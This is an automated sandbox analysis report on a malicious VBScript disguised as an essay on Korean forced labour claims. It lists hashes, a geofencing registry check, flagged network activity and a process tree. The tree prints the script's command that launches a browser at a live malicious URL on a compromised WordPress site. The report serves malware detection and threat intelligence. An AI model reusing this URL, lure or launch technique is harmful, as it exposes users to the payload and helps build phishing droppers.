Analysis
-
max time kernel
146s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
24-06-2024 14:52
Static task
static1
Behavioral task
behavioral1
Sample
Essay on Resolution of Korean Forced Labor Claims.vbs
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
Essay on Resolution of Korean Forced Labor Claims.vbs
Resource
win10v2004-20240508-en
General
-
Target
Essay on Resolution of Korean Forced Labor Claims.vbs
-
Size
27KB
-
MD5
75ec9f68a5b62705c115db5119a78134
-
SHA1
6209f948992fd18d4fc6fc6f89d9815369ac8931
-
SHA256
ec9cc1940fe395867f5bab06016920f7194d753ae8cfa331bea0a44ecc8ef7cf
-
SHA512
82a0d96640390b8ffdcecd34fc1ae1663c84a299448a5af02b24bf9b9e1fdd19954ceeeea555808a57fcdc452b2b6e598338f11bb0c7101b34934a8ec7bf1780
-
SSDEEP
384:mrquVS33hr8nIsbSQVwooRmB7+shi14PdSkNk0dRL3K2fJ+QIHBR:mugSBrwIBQVwoI8dSMdBa2fGj
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
WScript.exeflow pid process 22 3996 WScript.exe 37 3996 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
msedge.exemsedge.exeidentity_helper.exemsedge.exepid process 5056 msedge.exe 5056 msedge.exe 3620 msedge.exe 3620 msedge.exe 4320 identity_helper.exe 4320 identity_helper.exe 3352 msedge.exe 3352 msedge.exe 3352 msedge.exe 3352 msedge.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
Processes:
msedge.exepid process 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe -
Suspicious use of FindShellTrayWindow 25 IoCs
Processes:
msedge.exepid process 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe 3620 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
WScript.execmd.exeexplorer.exemsedge.exedescription pid process target process PID 3996 wrote to memory of 2020 3996 WScript.exe cmd.exe PID 3996 wrote to memory of 2020 3996 WScript.exe cmd.exe PID 2020 wrote to memory of 2368 2020 cmd.exe explorer.exe PID 2020 wrote to memory of 2368 2020 cmd.exe explorer.exe PID 2380 wrote to memory of 3620 2380 explorer.exe msedge.exe PID 2380 wrote to memory of 3620 2380 explorer.exe msedge.exe PID 3620 wrote to memory of 4452 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 4452 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 2288 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 5056 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 5056 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe PID 3620 wrote to memory of 1680 3620 msedge.exe msedge.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Essay on Resolution of Korean Forced Labor Claims.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c explorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"3⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa946c46f8,0x7ffa946c4708,0x7ffa946c47183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 /prefetch:33⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:83⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5272 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4208 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2176,8129619731020407360,7798024801434799605,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6024 /prefetch:23⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD54b4f91fa1b362ba5341ecb2836438dea
SHA19561f5aabed742404d455da735259a2c6781fa07
SHA256d824b742eace197ddc8b6ed5d918f390fde4b0fbf0e371b8e1f2ed40a3b6455c
SHA512fef22217dcdd8000bc193e25129699d4b8f7a103ca4fe1613baf73ccf67090d9fbae27eb93e4bb8747455853a0a4326f2d0c38df41c8d42351cdcd4132418dac
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5eaa3db555ab5bc0cb364826204aad3f0
SHA1a4cdfaac8de49e6e6e88b335cfeaa7c9e3c563ca
SHA256ef7baeb1b2ab05ff3c5fbb76c2759db49294654548706c7c8e87f0cde855b86b
SHA512e13981da51b52c15261ecabb98af32f9b920651b46b10ce0cc823c5878b22eb1420258c80deef204070d1e0bdd3a64d875ac2522e3713a3cf11657aa55aeccd4
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
5KB
MD585a54d88b558ffc7ae1da14c520bbe28
SHA11a742d59c01694a7a8b308f9eed0aea9bed4d129
SHA256e4dd78d9fd4660c9cb36d4fafce1a24dada6fc789a3d7c72ab2e81b9750ef10e
SHA512cb0d458148d97dce5d00fefe829c284338f0421937b06c798dc2b335304c9ee1aeb97f5c7cfea80431a69342ade3df161dcf7e0c8e1705ccf2fc47ba4acf5aa2
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
6KB
MD5527360540c0038331ea0e481751a8953
SHA1c5e6f0e5a00b4b54f5e514456c7adda86b4feb84
SHA2562373e354cbcfd22b239526f4f21e06063d60d05df6551e941696b7570402ddca
SHA5128c9243fb730f3f49204e471d5d192089496468e25488e8195389c6f088b6fb653566fe78593284eb71cf10e7b060687a702c9e269cb4ed22bb4dee5b70c312ea
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENTFilesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENTFilesize
16B
MD5206702161f94c5cd39fadd03f4014d98
SHA1bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA2561005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA5120af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
10KB
MD57c4d881bdeabd67b09edbb2be0f95a9e
SHA118e437499edc27e48950556d9d1d4cd7a7d79d4e
SHA256e2ac02ddbe8ae0e42636c114e3cef7adbd0197ca61ef5d6712d5fe3098e3d75e
SHA512bf2e8c8d5eceb9d00d81816313d81cce5703c33f607fb25226b9285f9a8e3e025307864f637c912a35405912acc17e9eca32dcd37d25d1c51bd42d186b2689da
-
\??\pipe\LOCAL\crashpad_3620_QDMNLFMCTFZQBEJZMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e